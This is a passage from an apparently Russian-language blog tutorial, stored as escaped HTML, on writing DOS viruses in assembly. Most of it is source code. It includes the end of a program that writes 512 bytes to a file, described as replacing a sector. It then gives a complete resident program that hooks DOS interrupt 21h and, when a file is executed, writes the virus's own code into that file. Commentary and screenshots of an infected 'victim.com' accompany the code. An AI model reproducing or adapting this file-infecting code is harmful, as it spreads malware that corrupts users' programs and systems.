&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xchg bx, ax&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov
cx, 512&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov
ah, 40h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;int
21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;mov
ah, 3eh&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;int
21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;.data&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;FileName
db &#39;1.txt&#39;,0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;end start&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
смотрим как это работает.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEqJtKp2vHLi860juG_txiPpWiK-9Hhpn7LQFRXdMZFN4uYVZKuF2Q8lA4dQYqLII-IfG-VPkMQwCPITC8tLWokOhH0Y-iPVdZPoc4Q_19rGwoZLwKk31r0ETPwnLmfpkjU3QAAuI5Warf/s1600/67.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;236&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEqJtKp2vHLi860juG_txiPpWiK-9Hhpn7LQFRXdMZFN4uYVZKuF2Q8lA4dQYqLII-IfG-VPkMQwCPITC8tLWokOhH0Y-iPVdZPoc4Q_19rGwoZLwKk31r0ETPwnLmfpkjU3QAAuI5Warf/s640/67.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMGmeHpBDGNn5g6-bahZkmKjpARLQNVNARSxp5wIzMRxFFLR75gNULVx5MsJm-AeYMvY67WW3ZjzUyI2rC18ppjERdKUwk4VcHWM73viv8KrS4SSd-Gp0LbPKTueRlcRbb9TPcbpqrhM3Q/s1600/78.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;251&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMGmeHpBDGNn5g6-bahZkmKjpARLQNVNARSxp5wIzMRxFFLR75gNULVx5MsJm-AeYMvY67WW3ZjzUyI2rC18ppjERdKUwk4VcHWM73viv8KrS4SSd-Gp0LbPKTueRlcRbb9TPcbpqrhM3Q/s400/78.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3OhuWpfqSxnm42W4zOz62t9Ref2Ye4ta_eQ5_I8GanTQLasRoV9dLd814TTu6Bbc-xlJ11-e6RmrlQZnavPvAtAS53wOSNwa4gLlWJbGNAhPnpcs5OHDh8ytOdqIQBlHpq34h8czfDehZ/s1600/66.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;355&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3OhuWpfqSxnm42W4zOz62t9Ref2Ye4ta_eQ5_I8GanTQLasRoV9dLd814TTu6Bbc-xlJ11-e6RmrlQZnavPvAtAS53wOSNwa4gLlWJbGNAhPnpcs5OHDh8ytOdqIQBlHpq34h8czfDehZ/s640/66.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEged67iw19FWJjoQgHC1RYQpD0cerZd08bTXMXGN34SQsem58sMS-zxJtJE18dqt_esvESir9Dh2wg5N-smd3EPTEQR8wdvr8_Tt808F8fxEO3Xcwz73XnAZQu9N_4nt-9uP5MD7osa8MUF/s1600/678.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;146&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEged67iw19FWJjoQgHC1RYQpD0cerZd08bTXMXGN34SQsem58sMS-zxJtJE18dqt_esvESir9Dh2wg5N-smd3EPTEQR8wdvr8_Tt808F8fxEO3Xcwz73XnAZQu9N_4nt-9uP5MD7osa8MUF/s400/678.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgAiU_Z_nw7y_VcMMmc4Ar06hr_yjjSscOBl3h543JHA289H_g48rrhssxGESXzq3l8qvdCEiJj0CdRSzSyc6O6g-pFlV2ovsFB1zcZOZ3bkm30C0R62pCxZgglTOfYw7BLJhvvRV8diH_/s1600/6666.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;260&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgAiU_Z_nw7y_VcMMmc4Ar06hr_yjjSscOBl3h543JHA289H_g48rrhssxGESXzq3l8qvdCEiJj0CdRSzSyc6O6g-pFlV2ovsFB1zcZOZ3bkm30C0R62pCxZgglTOfYw7BLJhvvRV8diH_/s400/6666.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiocS3yDdN5LXK2hCfvawR_NpVL3U_KHqd3RFjz14qKXJmg1N5xbZ8uB1yD72KjgWtIhY0WjiwK6LGrENndONxN7m37OB7MS1SIwUwtSxMW5t5tLk0ojKNgaV4jEULkwsVJwWd4IJ1rXZBO/s1600/666.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;305&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiocS3yDdN5LXK2hCfvawR_NpVL3U_KHqd3RFjz14qKXJmg1N5xbZ8uB1yD72KjgWtIhY0WjiwK6LGrENndONxN7m37OB7MS1SIwUwtSxMW5t5tLk0ojKNgaV4jEULkwsVJwWd4IJ1rXZBO/s640/666.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
видим подмену сектора)))&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;UK&quot;&gt;Переходим к пункту 1)-установка перехвата &lt;/span&gt;с помощью прерывания
ДОС&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Код схож, но более минималистичен, за счет чего проще понимается.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Код-потом комментирование.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;.model
tiny&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;.code&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;org&amp;nbsp;&amp;nbsp;
100h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;start:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ah,35h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov al,21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;
word ptr [int21],bx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;
word ptr [int21+02h],es&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ah,25h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dx,offset virii&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xchg&amp;nbsp;&amp;nbsp;&amp;nbsp; ax,dx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 27h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;virii&amp;nbsp; proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
cmp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ah,4bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jne&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int21_exit&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ax,3d02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xchg&amp;nbsp;&amp;nbsp;&amp;nbsp; ax,bx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; cs&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ds&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ah,40h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cx,(start-endd)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dx,offset start&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;int21_exit:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;db&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0eah&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;endd:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;int21&amp;nbsp;&amp;nbsp; dd ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;.data&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;virnamefuckyou&amp;nbsp; db&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&#39;6EQUJ5_WOW!&#39;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;end&amp;nbsp; start&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
тут все в разы проще.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
с помощью &lt;span lang=&quot;EN-US&quot;&gt;ah&lt;/span&gt;,35&lt;span lang=&quot;EN-US&quot;&gt;h&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;и &lt;span lang=&quot;EN-US&quot;&gt;al&lt;/span&gt;- номер прерывания
перехвата устанавливаем обработчик прерывания, тут и комментировать нечего.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
в обработчике просто- перехватываем функцию&amp;nbsp;&lt;span lang=&quot;EN-US&quot;&gt;exec&lt;/span&gt;&lt;span lang=&quot;EN-US&quot;&gt; &lt;/span&gt;4&lt;span lang=&quot;EN-US&quot;&gt;bh&lt;/span&gt;- если открыли-
записываем свой код в файл.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
маленький-да удаленький как говорится.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
скриншоты до запуска и после:&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbUez3aud7HF03lSihoWHNe_H5IYyOwh2zw1MIW6-ukIDD8wmu2U-Og1zg71l_W9YCVqjoUhEZsY6Yy4GBvqJzKmuecBwgMvBl9iWNCU-5x9Iyph_V9dR2UrIzd1EMx_oA0ULK9Yj1JZrM/s1600/111.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;346&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbUez3aud7HF03lSihoWHNe_H5IYyOwh2zw1MIW6-ukIDD8wmu2U-Og1zg71l_W9YCVqjoUhEZsY6Yy4GBvqJzKmuecBwgMvBl9iWNCU-5x9Iyph_V9dR2UrIzd1EMx_oA0ULK9Yj1JZrM/s400/111.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;color: #990000;&quot;&gt;файл victim.com состоит только из инструкции ret и не делает абсолютно ничего.его размер до запуска составляет 1байт.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
